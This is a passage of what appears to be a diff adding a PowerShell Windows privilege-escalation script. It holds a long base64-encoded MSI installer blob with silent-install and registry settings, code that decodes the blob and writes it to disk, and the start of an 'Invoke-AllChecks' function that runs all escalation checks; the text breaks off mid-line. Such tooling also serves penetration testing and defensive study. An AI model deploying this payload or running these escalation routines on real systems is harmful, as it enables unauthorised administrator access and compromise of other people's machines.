J0eVRoZSBwcm9wZXJ0eSB0byBzZXQgd2hlbiBhIHByb2R1Y3QgaW4gdGhpcyBzZXQgaXMgZm91bmQuQ29zdEluaXRpYWxpemVGaWxlQ29zdENvc3RGaW5hbGl6ZUluc3RhbGxWYWxpZGF0ZUluc3RhbGxJbml0aWFsaXplSW5zdGFsbEFkbWluUGFja2FnZUluc3RhbGxGaWxlc0luc3RhbGxGaW5hbGl6ZUV4ZWN1dGVBY3Rpb25QdWJsaXNoRmVhdHVyZXNQdWJsaXNoUHJvZHVjdGJ6LldyYXBwZWRTZXR1cFByb2dyYW1iei5DdXN0b21BY3Rpb25EbGxiei5Qcm9kdWN0Q29tcG9uZW50e0VERTEwRjZDLTMwRjQtNDJDQS1CNUM3LUFEQjkwNUU0NUJGQ31CWi5JTlNUQUxMRk9MREVScmVnOUNBRTU3QUY3QjlGQjRFRjI3MDZGOTVCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv" + + try { + [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte + Write-Verbose "MSI written out to '$Path'" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputPath' $Path + $Out + } + catch { + Write-Warning "Error while writing to location '$Path': $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputPath' $_ + $Out + } +} + + +function Invoke-AllChecks { +<# + .SYNOPSIS + + Runs all functions that check for various Windows privilege escalation opportunities. + + .PARAMETER HTMLReport + + Switch. Write a HTML version of the report to SYSTEM.username.html. + + .EXAMPLE + + PS C:\> Invoke-AllChecks + + Runs all escalation checks, output statuses for whatever's found. +#> + + [CmdletBinding()] + Param( + [Switch] + $HTMLReport + ) + + if($HTMLReport) { + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $Header = "" + + ConvertTo-HTML -Head $Header -Body "